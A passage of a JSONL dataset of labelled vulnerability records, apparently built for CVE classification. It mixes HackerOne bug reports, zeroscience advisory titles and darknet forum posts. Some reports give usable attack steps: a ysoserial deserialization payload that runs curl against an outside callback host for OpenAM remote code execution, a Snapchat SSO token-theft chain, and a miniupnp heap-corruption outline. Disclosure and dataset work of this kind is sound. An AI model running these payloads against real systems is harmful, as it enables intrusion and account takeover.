/home/youghurt/php-7.2.6/sapi/cli/php_cli.c:1011:5\n #18 0x9f81245 in main /home/youghurt/php-7.2.6/sapi/cli/php_cli.c:1404:18\n #19 0xb7a06636 in __libc_start_main /build/glibc-mUak1Y/glibc-2.23/csu/../csu/libc-start.c:291\n #20 0x807bd77 in _start (/home/youghurt/php-llvm/bin/php+0x807bd77)\n\n0xb2500000 is located 128 bytes to the left of 896-byte region [0xb2500080,0xb2500400)\nallocated by thread T0 here:\n #0 0x814b887 in __interceptor_malloc /home/youghurt/llvm-src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:121\n #1 0x95f1626 in __zend_malloc /home/youghurt/php-7.2.6/Zend/zend_alloc.c:2829:14\n #2 0x980736c in zend_hash_do_resize /home/youghurt/php-7.2.6/Zend/zend_hash.c:860:14\n #3 0x97fa7df in _zend_hash_add_or_update_i /home/youghurt/php-7.2.6/Zend/zend_hash.c:591:2\n #4 0x97fa7df in _zend_hash_merge /home/youghurt/php-7.2.6/Zend/zend_hash.c:1888\n #5 0x88f7353 in zm_startup_dom /home/youghurt/php-7.2.6/ext/dom/php_dom.c:755:2\n #6 0x9755ecc in zend_startup_module_ex /home/youghurt/ph", "source": "hackerone", "timestamp": "2019-10-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "375f29a6fddcf720265f", "text": "[Code Injection] Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)\n\nRCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM.\n\n## Impact\n\nAn unauthenticated, 3rd-party attacker or adversary can execute remote code\n \n### Supporting Material/References\n- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-35464\n\n## Steps to Reproduce\n## Steps To Reproduce\n\nTarget domain: █████\n\nFirst we need to build the payload:\n1. Download this jar file \n``wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar``\n\nthen \n``java -jar ysoserial-master-SNAPSHOT.jar Click1 \"curl https://g0h7qcjzwzpzdh2ar6b5f9x3puvkj9.burpcollaborator.net\" | (echo -ne \\\\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\\n' > payload.txt`` \n\nYou need to change the burp Collaborator id to test it properly. \n\nThe payload is now saved in the payload.txt file. \n\nNow we need to use the following request:\n\n```\nGET /██████████=XYZ HTTP/1.1\nHost: 127.0.0.1\n```\nReplace **XYZ** by the payload saved into the payload.txt file. \n\nThe response\n\n```\nHTTP/1.1 302 302\nDate: Thu, 01 Jul 2021 18:11:52 GMT\nServer: Apache\nSet-Cookie: session=expiry=1625163712945691;Max-Age=600;path=/;HttpOnly;Secure;\nX-Frame-Options: SAMEORIGIN\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nContent-Security-Policy: default-src 'unsafe-inline' 'self'; script-src 'unsafe-eval' 'unsafe-inline' 'self' https://██████████; img-src 'self' https://████████\nCache-Control: no-cache, private\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nCache-Control: private\nLocation: https://127.0.0.1:443/sso/base/AMInvalidURL\nContent-Length: 0\nX-XSS-Protection: 1; mode=block\n\n```\nThe HTTP Request sent the collaborator :\n\n█████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8c00205a2173fed0465b", "text": "Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-03-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9c0e4a0e89a452687e52", "text": "[Unknown] HTML Injection inside Slack promotional emails\n\nHi,\n\nThere's a HTML injection vulnerability present inside emails sent from slack when the FIRST name on the account contains HTML. The html is stored in the backend database and when emails are sent (promotional, etc), the HTML is sent along with the rest of the email.\n\nIn my PoC, which is provided below, i inserted a <img> tag to prove this vulnerability exists. \n\nF268173\n\n## Impact\n\nThis vulnerability can lead to the reformatting/editing of emails from an official slack email address, which can be used in targeted phishing attacks. \n\nThis could lead to users being tricked into giving logins away to malicious attackers.", "source": "hackerone", "timestamp": "2018-07-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8c69116a5ada6e051a83", "text": "[Silk Road 1] Re: Question About the SR Facebook Page and Publicity In the Past Year\n\nIf it gets too big, i wonder what would happen? Will SR last another year if say another million people sign up?Postage companys will be dealing with xmas type postage rush's all year? See SR keeps everyone busy. Firstly us, coin providers, postage companys, LE, etc. :P", "source": "gayanku", "timestamp": "2012-12-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2db08e6e5818471f53bb", "text": "Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "83dca853b5b307fa6f2f", "text": "Baby Gekko CMS v1.1.5c Multiple Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-05-02", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8ceb1d418c5bcbac20c0", "text": "Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-05-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "833dc573e66a020681db", "text": "Mp3 Tag Assistant Pro 2.92 (tag metadata) Remote Stack Overflow PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2009-06-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3933b23497f1876549a9", "text": "Mango Automation 2.6.0 Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "580f8d80cd7b2843a85f", "text": "[Improper Authentication - Generic] It's possible to view configuration and/or source code on uchat.awscorp.uberinternal.com without\n\n## Summary\nConfiguration file and/or source code information leakage without Uber OneLogin SSO authentication.\n\n## Security Impact\nMisconfiguration on the server results in information leakage without authentication.\n\n## Reproduction Steps\nhttps://uchat.awscorp.uberinternal.com/static/main.740f5a0b92c00e72e2e1.js\n\n## Specifics\n* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169\n* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202\n* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion\n\n## Impact\n\nAccess to internal configuration files, system names, and source code.", "source": "hackerone", "timestamp": "2017-12-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "eaf794bc45a606b43ccb", "text": "[Improper Authentication - Generic] Bypassing \"You've requested your data the maximum number of times today.\" + \"Please Verify an email address with snapchat to continue\"\n\nHello Again , I found an 2 issues in `accounts.snapchat.com/accounts/downloadmydata` \n- The first one : Bypassing The maximum number of Data Requests per day and download the Account Data any time the Attacker wants.\n- The Second : Download The Account Data without any Email verification.\n\n____\n\nRequirements : \n====================\n- Snapchat Account.\n- Software to intercept the request.\n\n____\n\nSummary: [First_Issue]\n====================\nAccording to This note in `Download My Data` Page \n`Note: There is a limit to the number of times per day you can download your data. ` and when the user do more than 2 requests Per day another massage appear saying `\" You've requested your data the maximum number of times today. Please try again tomorrow.` . By Using this Infected POST Method `POST /accounts/downloadmydata HTTP/1.1` the Attacker can Make Unlimited Data requests Per day at any time he want without any restriction and every time he do it the site creates new download link + send a massage to his email, He even Can run intruder Attack Without any TIMEOUT.\n\n____\n\nSteps To Produce[First_Issue][Text_vresion]\n====================\n// Note : The first three steps If the Attacker Doesn't Have the Request Yet. //\n1- Login to Activated Account throw https://accounts.snapchat.com/accounts/login\n2- Browse to https://accounts.snapchat.com/accounts/downloadmydata\n3- Trun on Intercept and click on `Submit Request` Button now send the request to The Repeater, and Go back to the page and click the button again to reach the maximum times per day.\n4- Now when you refresh the page a massage appears saying `\"You've requested your data the maximum number of times today.\"`\n5- Now go back to the repeater and repeat the request and every time the attacker repeat it a new download link generates + an email sent to his email.\n\n{F124019}\n\n____\n\nSummary: [Second_Issue]\n====================\nAccording to [This Support page ](https://support.snapchat.com/en-US/article/download-my-data) \n`\"We take the security of your data very seriously, so you [must] have a verified email address to download your data.\"` , Well Using The Same POST Method The Attacker can replace The Cookie and the xsrf_token too his own then repeat the request and the download link will pop-up after refreshing the page., Even when the page have a massage says \"Please Verify an email address with snapchat to continue\".\n\n\n____\n\nSteps To Produce[Second_Issue][Text_vresion]\n====================\n1- The Attacker will use the same POST Method that already saved in the repeater / Used in Issue one /\n```\nPOST /accounts/unlock HTTP/1.1\nHost: accounts.snapchat.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: https://accounts.snapchat.com/\nCookie: xsrf_token=qGtjuAOo2-wbMhSh5pSleQ; sc-a-session=MDAxOjAwMTrcu9aIg5J6CABp9Jgq2spVOpj0cpFQFvfTGYYk8x1lEB6EK9Ii4_-ThiXAIwaPuGx0zNKyVJNVWpF5lV7ouGvH; sc-cookies-popup-dismissed=true; sc-a-nonce=a0979ef3-d7e0-4f53-8514-cc7984ebb8fa\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\n\nxsrf_token=AoaRT596SUeoTsWqXjzNPQvsZko\n```\n2- The Attacker will change The ` xsrf_token=kB5hC3JiO-au9yaO83iOTMqCvM4` & `cookie` But How he will get the New xsrf_token of the session ? Simply By logging in to his account then Browse to https://accounts.snapchat.com/accounts/unlock and turn on intercept then click The \"Unblock\" Button. Now the New cookie and the xsrf_token Will show up in the request Like This :\n\n```\nPOST /accounts/unlock HTTP/1.1\nHost: accounts.snapchat.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q", "source": "hackerone", "timestamp": "2016-11-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0ae7a6f78b9ede3e5f6f", "text": "[Use After Free] efree() on uninitialized Heap data in imagescale leads to use-after-free\n\nThe core bug: https://bugs.php.net/bug.php?id=77269\n\nThis bugfix actually involves two vulnerabilities: a call to efree on uninitialized data and another free() based vulnerability. What is described below is a bug that was fixed in libgd two years ago (CVE-2016-10166), but the patch was never applied to PHP's libgd. Furthermore, the patch for that CVE introduced a use after free vulnerability, also in PHPs `imagescale()` function. This can be seen in the comment history of the PHP bug.\n\n----\nThe bug occurs in ext/gd/libgd/gd_interpolation.c in the function _gdContributionsAlloc(int line_size, int windows_size). The function will attempt to allocate helper structs and receives two parameters: the line size and the windows size. To prevent integer overflows, each parameter is passed to gd's overflow2() function before being used in the gdMalloc function.\n(gdMalloc is just #define gdMalloc emalloc).\n\nHowever, if the overflow2 check for windows size is positive, overflow_error is set to true, which leads to gd attempting to free all the lines allocated so far. The issue is that gd does not check if any lines have been allocated so far at all. By supplying input that leads to overflow2 being true, .Weights is freed, which is an unintialized pointer. \n\n```\nif (overflow2(line_length, sizeof(ContributionType))) {\n\t\tgdFree(res);\n\t\treturn NULL;\n\t}\n\tres->ContribRow = (ContributionType *) gdMalloc(line_length * sizeof(ContributionType));\n\tif (res->ContribRow == NULL) {\n\t\tgdFree(res);\n\t\treturn NULL;\n\t}\n\tfor (u = 0 ; u < line_length ; u++) {\n\t\tif (overflow2(windows_size, sizeof(double))) {\n\t\t\toverflow_error = 1;\n\t\t} else {\n\t\t\tres->ContribRow[u].Weights = (double *) gdMalloc(windows_size * sizeof(double));\n\t\t}\n\t\tif (overflow_error == 1 || res->ContribRow[u].Weights == NULL) {\n\t\t\tunsigned int i;\n\t\t\tu--;\n\t\t\tfor (i=0;i<=u;i++) {\n gdFree(res->ContribRow[i].Weights);\n\t\t\t}\n```\n\nWhen the for loop is reached that frees the uninitialized pointers, i will be 0 and u too. However, before the for loop is entered u is decremented by one so it will turn into -1 , which leads to the condition i <=0 never being met.\n\n## Impact\n\nThis vulnerability can be used to write a local safe mode bypass and can potentially be exploited remotely.", "source": "hackerone", "timestamp": "2020-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "61e23363ba0cde28f466", "text": "[Reddit Silk Road] My room mate and I aren't regular SR users, but are super interested in this whole Silk Road bust. We're in a huge argument over something. Please Help.\n\n> So just because there have been significant developments in the 50s doesn't mean that it will continue at the same rate.\n> \n> Think of Fermat's Last Theorem. Think of the Riemann Hypothesis. The latter might be solved in the next 50 years. Or it might not. I certainly can't predict when it might be solved. \n\nAnd the same argument works the other way. What we know right now is that in the recent past, cryptosystems fall like dominos every decade or two. The logical conclusion is that Bitcoin, being an exceptionally complex system (even with huge swathes of functionality having been deleted or disabled since its first release), will probably not be a unique special snowflake of an exception.\n\n> RSA came out in 1977, right? So it is approaching 50 years since.\n\n...No, it's not. 1957 is 20 years, exactly, before 1977. That's a pretty long period of time. It's just over halfway.\n\nSo in other words, in another fifth of a century, then you *may* have *one* example of a cryptosystem which actually still provide protection. Assuming your key lengths weren't too short. Assuming your version did not make any of the common mistakes in picking primes which destroy RSA's security. Assuming it did not render itself vulnerable to side-channel attacks (just one of the many classes of attack which did not even exist in 1957).\n\n> Given that the process for bitcoins boils down to a fairly fundamental computing bottleneck, can you explain why you are so confident that the cryptographic properties would be broken in 50 years?\n\nNo, it doesn't have to be a problem in the hashing (although that would be a problem). It could be anywhere in the system, ranging from forging transactions from arbitrary addresses (a real bug! this [*already happened*](https://en.bitcoin.it/wiki/Incidents#CVE-2010-5141)!) to allowing people to create extra bitcoins for themselves. None of those parts have clear security proofs.", "source": "gayanku", "timestamp": "2013-10-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "649f269a53e8788a9725", "text": "[Authentication Bypass] Stealing SSO Login Tokens (snappublisher.snapchat.com)\n\n# Description\nAttacker can steal SSO login tokens for snappublisher.snapchat.com by chaining different flaws in SSO and Snapchat’s Snappublisher tool. Detailed attack flow is as follows.\n\n# Attack Flow\n1.. Snapchat fetches a `SSO LOGIN TOKEN` from `accounts.snapchat.com` to login into different products of Snapchat i.e. SnapPublisher, Ads Manager, Business Manager, etc. provided that user is logged into `accounts.snapchat.com`.\neg. To login into SnapPublisher following requests are made …\n1] https://accounts.snapchat.com/accounts/login?client_id=creativesuite-prod&referrer=https://snappublisher.snapchat.com/sso_continue\n2] 302 redirect to\nhttps://accounts.snapchat.com/accounts/sso?client_id=creativesuite-prod&referrer=https%3A%2F%2Fsnappublisher.snapchat.com%2Fsso_continue\n3] again 302 redirect to \nhttps://snappublisher.snapchat.com/sso_continue?ticket=redacted\n\nSo, a SSO login token `ticket` is sent from `accounts.snapchat.com` to `snappublisher.snapchat.com` which is used to login the user. And is also used in `Authorization header` when making requests to API.\n\nNow, we are going to steal this SSO login token `ticket` which will allow us to login and control victim’s account.\n\n2.. On `snappublisher.snapchat.com`, I was able to upload a `svg` image to google cloud storage, using which I run my javascript code.\nNote: Use `import from site` functionality via `https://snappublisher.snapchat.com/snaps/create/new` and import my `xss-svg` image from here (███████/tokenstealer.svg). This alerts and logs `#hashfragment` in the console. \nI have already did this in my POC so this is just for understanding purpose. My image URL is `https://snappublisher.snapchat.com/api/v1/media/████████/file/somthine.svg?%23pranav`\n\n3.. Now, other flaws in SSO …\n1] In this URL \n`https://accounts.snapchat.com/accounts/sso?client_id=creativesuite-prod&referrer=https://snappublisher.snapchat.com/api/v1/media/████████/file/somthine.svg?%23pranav`\n\n`referrer` parameter can be controlled and any `snappublisher.snapchat.com` URL is allowed.\nAlso, `%23pranav`, this `#hashfragment` is allowed in `referrer ` parameter. \n\nI take advantage of both these flaws to flow the `SSO login token` to my website or land to a page which I control.\nNote: `#hashfragment` is send further by browser for `302` / `307` redirects.\n\n\n4.. CSRF Login flaw\nSSO functionality is vulnerable to CSRF attack so I can login other people into my account. I use this functionality to login user into my account.\n\n5.. Token doesn’t expire flaw \nOnce the SSO login token is used, it doesn’t expire and can be reused multiple times.\n\nSo, simple attack flow is as follows :\n1. User is logged into `accounts.snapchat.com`.\n2. Attacker logs user into his/her `snappublisher.snapchat.com` account via CSRF login flaw.\n3. Now, attacker makes a request to fetch SSO login token `https://accounts.snapchat.com/accounts/sso?client_id=creativesuite-prod&referrer=https://snappublisher.snapchat.com/api/v1/media/█████████/file/somthine.svg?%23pranav` and redirects the token in `#hashfragment` to `https://snappublisher.snapchat.com/api/v1/media/█████/file/somthine.svg?%23pranav`\n4. `https://snappublisher.snapchat.com/api/v1/media/████/file/somthine.svg?%23pranav` this redirects with `307` status code to `storage.googleapis.com/creativesuite-prod-media/*` with `SSO login token ticket` in `#hashfragment` carried forward by browser.\n5. Svg image executes my js code and alerts and logs the `SSO login token ticket` in the console.\n6. I can use the `ticket` to login into victim’s account. Via `https://snappublisher.snapchat.com/sso_continue?ticket=<stolen token>`\n\n# Proof Of Concept\n\nVideo POC : █████████(Unlisted video on youtube)\n\n1. Login into your account on `accounts.snapchat.com`.\n2. Login into your SnapPublisher account `snappublisher.snapchat.com`.\n3. Visit (█████) which fetches `user’s SSO login token` which can be used to login. (This alerts and logs the `token` in console.)\n4. Use the token via `https://snappublisher.snapchat.com", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "de75a5c4745778aff622", "text": "[Unknown] out of bounds read crashes php-cgi\n\nI found and disclosed CVE-2014-9427 to the PHP dev team on 17 December 2014 (https://bugs.php.net/bug.php?id=68618) and a patch was committed on 30 December 2014 (http://git.php.net/?p=php-src.git;a=commit;h=f9ad3086693fce680fbe246e4a45aa92edd2ac35) and the flaw is now fixed.\n\nDetails of the flaw: sapi/cgi/cgi_main.c in the CGI component in PHP through 5.4.36, 5.5.x through 5.5.20, and 5.6.x through 5.6.4, when mmap is used to read a .php file, does not properly consider the mapping's length during processing of an invalid file that begins with a # character and lacks a newline character, which causes an out-of-bounds read and might (1) allow remote attackers to obtain sensitive information from php-cgi process memory by leveraging the ability to upload a .php file or (2) trigger unexpected code execution if a valid PHP script is present in memory locations adjacent to the mapping.", "source": "hackerone", "timestamp": "2014-12-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f46c7baaf70f1b228b1b", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Improper Access Control (IDOR)\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0b01ca27c97236bfca47", "text": "Adobe Reader 9.3.2 (CoolType.dll) Remote Memory Corruption / DoS Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-06-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4efd987c7588e8b00233", "text": "[Out-of-bounds Read] Out of Bounds Memory Read in exif_scan_thumbnail\n\nI have found and reported an out of bounds memory read in PHP [exif_scan_thumbnail]\nWhen PHP EXIF extension is parsing EXIF information from an image, e.g. via exif_read_data() function, in PHP versions 7.1.x below 7.1.31, 7.2.x below 7.2.21 and 7.3.x below 7.3.8 it is possible to supply it with data what will cause it to read past the allocated buffer.\nThis has been fixed and assigned CVE-2019-11041\nThe bug report is here: https://bugs.php.net/bug.php?id=78222\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11041\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-11041\n\n## Impact\n\nThis may lead to information disclosure or crash.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2a39c2dafeacb786d364", "text": "[Unknown] Integer Overflow in php_raw_url_encode\n\nhttps://bugs.php.net/bug.php?id=71798", "source": "hackerone", "timestamp": "2019-10-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5c5a12fc6c0e84ae6bff", "text": "[Integer Overflow] CVE-2017-8798 - miniupnp getHTTPResponse chunked encoding integer signedness error\n\n### Integer signedness error in miniupnpc [1] allows remote attackers to cause a denial of service condition (access violation and heap corruption) via specially crafted HTTP response\n\nAn integer signedness error was found in miniupnp's `miniwget` allowing \nan unauthenticated remote entity typically located on the\nlocal network segment to trigger a heap corruption or an access violation\nin miniupnp's http response parser when processing a specially crafted\nchunked-encoded response to a request for the xml root description url.\n\n* affects\n * all versions >= `v1.4.20101221` (released 21/12/2010; `~6 years ago`)\n * all configurations as its a core part of the library\n* impact\n * DoS (access violation due to buffer overread memcpy)\n * Heap Overwrite (pot. race RCE in multithreaded envs)\n* requirements\n * no user interaction, unauth, low complexity\n* how widespread is this software?\n * miniupnpc is compiled into a wide range of network applications and embedded device firmware.\n * blockchain clients: `bitcoind` and almost all forks, `CPP ethereum`, ...\n * p2p filesharing applications: `qBittorrent`, `Transmission`, ...\n * network device firmware: `dlink`, `linksys`, probably `synology` or anything that allows IGD management / portforwarding\n * numerous hits for `miniwget` on google or github. closed source obviously not included but its likely to find this lib packed with embedded devices.\n* disclosure\n * provided detailed description, PoC and patch\n * status: fixed; within 8 days.\n\nThe vulnerable component is a HTTP file download method called \n`miniwget` (precisely `getHTTPResponse`) that fails to properly handle \ninvalid chunked-encoded HTTP responses. The root cause is a bounds check\nthat mistakenly casts an unsigned attacker-provided chunksize to signed \nint leading to an incorrect decision on the destination heap buffer size \nwhen copying data from the server response to an internal buffer. The \nattacker controls both the size of the internal buffer as well as the \nnumber of bytes to copy. In order for this attack to succeed, the number \nof bytes to copy must be negative.\n\nattacker controls:\n* `int content_length`\n* `unsigned int chunksize`\n* `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes)\n* length of `content_buf` if `bytestocopy` is negative\n\nIn the end, the attacker has almost full control of the following two methods\n* `realloc(content_buf, content_length)`\n* `memcpy(content_buf+x, http_response, chunksize)`\n\n\naffected methods (almost all exposed API):\n\n basically all `miniwget*` and `UPNP_*` methods.\n * getHTTPResponse (vulnerable)\n * miniwget3\n * miniwget2\n * miniwget\n * miniwget_getaddr\n * UPNP_GetIGDFromUrl\n * UPNP_GetValidIGD\n * UPnP_selectigd\n * UPNP_Get*\n * UPNP_Check*\n * UPNP_Delete*\n * UPNP_Update*\n * UPNP_Add*\n\n\nThis vulnerability is easily exploitable with an attacker being on the same network segment/multicast domain by answering SSDP discovery requests (1) (or sending notification requests) providing an URL to the attacker controlled webserver. Answering this request (2) makes upnp clients download a description file from that webserver (3)(4) in order to learn more about the capabilities of the Internet Gateway Device (IGD). By providing a negative chunk length in the chunked-encoded answer (4) to this request the malicious webserver triggers the vulnerability. This way one malicous client could exploit all other clients in the same multicast domain. (Funny sidenote: I had to implement a target ip filter otherwise the PoC would attract devices like a magnet and crash all of them)\n\n```\n client (miniupnpc) server (poc.py)\n | |\n | |\n | SSDP: Discovery - M-SEARCH |\n 1. | -----------", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "bd675bdf8e3e33ca1cc4", "text": "Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-06-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5d25261c9fe38f5dee4a", "text": "Rapid7 AppSpider 6.12 Web Application Vulnerability Scanner Elevation Of Privilege\n\nSeverity: low", "source": "zeroscience", "timestamp": "2016-07-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5ce93bb86bba44cf8d80", "text": "Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-07-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c92113b8dc12100f8354", "text": "[Reddit Darknet Markets] [CAUTION] Checkpoint may be selective scamming...\n\noh, if you say so, then..", "source": "gayanku", "timestamp": "2015-12-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "22a5eefd543c10727f23", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Hard-coded Credentials Shell Access\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b56ada33a3288c35b2e0", "text": "[Unknown] Arbitrary modification value \"session\" (Cookie) in badoo.com\n\nUsers who log on through https://m.badoo.com/ receive a session cookie named \"session\" whose value represents the user identifier.\n\nI have found a way to change the value of the cookie, this error can be used to:\n\nLeave off the application to a particular user to log on again, the attacker would have to cause the victim to visit a particular link.\nhttps://mus1.badoo.com/es/help?platform=4&sessionId=Not_Valid\n\n- Tricking a user to perform a certain action (eg buy credits) believe that this action is for your profile when in fact it is a profile of the attacker.\n\nProof of Concept\na document is attached to the PoC", "source": "hackerone", "timestamp": "2017-06-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "19524873545b09a991cc", "text": "[Out-of-bounds Read] Certificate message OOB reads (CVE-2016-6306)\n\nIn OpenSSL 1.0.2 and earlier some missing message length checks can result in\nOOB reads of up to 2 bytes beyond an allocated buffer. There is a theoretical\nDoS risk but this has not been observed in practice on common platforms.\n\nThe messages affected are client certificate, client certificate request and\nserver certificate. As a result the attack can only be performed against\na client or a server which enables client authentication.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "934d47d31a119aadd78f", "text": "[Memory Corruption - Generic] Adobe Flash Player ShimContentFactory class Memory Corruption Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to memory corruption because of improper validation of ShimContentFactory.retrieveOpportunityGenerators().\n------------------------------------------------------------------\nII. Description\nNormally, retrieveOpportunityGenerators() should validates its parameter and returns error in AS3 level if anything goes wrong.\nIf retrieveOpportunityGenerators() function is invoked directly with invalid parameter, some inner class instance will be absent, which will cause a memory crash.\n------------------------------------------------------------------\nIII. Impact\nMemory Corruption\n------------------------------------------------------------------\nIV. Affected\nAdobe Flash Player 21.0.0.242\n------------------------------------------------------------------\nV. Credit\nWen Guanxing from Pangu LAB is credited for this vulnerability.\n\nIt has been assigned by Adobe as CVE-2016-4150.\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-18.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fb5356f765aac9a894f2", "text": "[Improper Access Control - Generic] Node Validation Admission does not observe all oldObject fields\n\n## Summary:\nThe Validating Admission webhook for Node Objects is passing oldObject fields incorrectly on AdmissionReview.Request. It was identified initially in metadata.labels, but a list of impacted fields follows below:\n \noldNode.Spec.PodCIDRs\noldNode.Spec.ProviderID\noldNode.Spec.ConfigSource\noldNode.Status.Config\noldNode.ObjectMeta\noldNode.Status.Capacity\noldNode.Spec.Unschedulable\noldNode.Status\noldNode.Spec.Taints\n\nThose fields are being set with the same values as the new node object, potentially allowing users to bypass validating admission to update node labels, taints, and others.\n\n## Kubernetes Version:\nv1.19.x\n\n## Component Version:\nValidation Webhook for Nodes\n\n## Steps To Reproduce:\n\n1. Create a Validating Webhook Configuration for Node updates\n2. Create an admission Webhook that outputs the content of oldNode and newNode from the admissionReview obejct\n3. Run a patch that changes one of the fields mentioned above.\n4. Look at the log output and compare the old and newObject CRs -- you will notice that the patch you just made appears on the new AND oldObject CRs logged.\n\n## Supporting Material/References:\nValidating Webhook we created -> https://github.com/ArielLima/managed-cluster-validating-webhooks/blob/nodelabels-webhook/pkg/webhooks/node/node.go#L145-L179\n\nDummy Validating Webhook -> https://github.com/openshift/generic-admission-server/pull/40/files#diff-ce34cccb3b86fc2740015cfa93de7e314262e3db76d54708d5e1c302e6986436R39\n\nPotential issue location -> https://github.com/kubernetes/kubernetes/blob/c970a46bc1bcc100bbbfabd5c12bd4c5d87f8aea/pkg/apis/core/validation/validation.go#L4792-L4794\n\n## Impact\n\nEven though a validating admission webhook thinks that it is restricting actors from mutating certain fields like taints, labels, and schedulability it is not. \nSome examples of actions you could perform:\n1. change labels to steer workloads\n2. change labels to prevent scheduling any workload\n3. change taints to push pods off a node", "source": "hackerone", "timestamp": "2021-09-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "589cb690c62773268816", "text": "[Cryptographic Issues - Generic] POODLE SSLv3 bug on multiple twitter smtp servers (mx3.twitter.com,199.59.148.204,199.16.156.108 and 199.59.148.204)\n\n**Summary:** POODLE SSLv3 bug on multiple twitter smtp servers\n\n**Description:** CVE-2014-3566: The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, aka the \"POODLE\" issue.\n\n\n## Steps To Reproduce:\n\nHi Twitter Sec team here is the POC\n\n 1. get a nmap installation and twitter_smtp_ssl_servers.txt file (attached) \n 2. run this command :\n\"nmap -sV --version-light -Pn --script ssl-poodle -p 25 -iL twitter_smtp_ssl_servers.txt | grep -B 5 VULNERABLE\"\n 3. See the results \n\n## Supporting Material/References:\n\n * An output screentshot and the twitter_smtp_ssl_servers.txt are attached.", "source": "hackerone", "timestamp": "2018-02-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6f790ce63cce8b10727f", "text": "ECOA Building Automation System Local File Disclosure 